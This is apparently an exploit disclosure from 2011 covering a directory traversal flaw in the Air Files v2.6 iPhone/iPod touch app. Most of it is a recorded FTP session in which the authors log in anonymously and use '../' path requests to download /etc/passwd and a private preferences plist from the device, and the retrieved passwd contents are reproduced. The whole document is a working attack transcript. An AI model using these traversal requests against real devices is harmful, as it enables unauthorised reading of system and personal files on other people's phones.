# Exploit Title: Air Files v2.6 for iPhone / iPod touch, Directory Traversal
# Date: 02/24/2011
# Author: R3d@l3rt, Sunlight, H@ckk3y
# Software Link : http://itunes.apple.com/kr/app/filer-lite-download-view-manage/id339732484?mt=8
# Version: 2.6
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware 
 
# There is directory traversal vulnerability in the Air Files. 
# Exploit Testing
 
C:\>ftp
ftp> open 192.168.0.70 2100
Connected to 192.168.0.70.
220 DiddyFTP server ready.
User (192.168.0.70:(none)): anonymous
331 Password required for anonymous
Password:
230 User anonymous logged in.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection for '/bin/ls'.
total 5
drwxr-xr-x     1 mobile mobile         68 Jan 06 13:26 Document
drwxr-xr-x     1 mobile mobile         68 Jan 06 13:26 Movie
drwxr-xr-x     1 mobile mobile         68 Jan 06 13:26 Music
drwxr-xr-x     1 mobile mobile         68 Jan 06 13:26 Picture
-rw-r--r--     1 mobile mobile         22 Jan 06 17:02 archive.zip
 
226 Transfer complete.
ftp: 327 bytes received in 0.00Seconds 327000.00Kbytes/sec.
ftp> get ../../../../../etc/passwd
200 PORT command successful.
150 Opening BINARY mode data connection for '../../../../../etc/passwd'.
226 Transfer complete.
ftp: 787 bytes received in 0.00Seconds 787000.00Kbytes/sec.
ftp> get ../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist
200 PORT command successful.
150 Opening BINARY mode data connection for '../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist'.
226 Transfer complete.
ftp: 272 bytes received in 0.00Seconds 272000.00Kbytes/sec.
ftp> quit
 
C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file.  Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false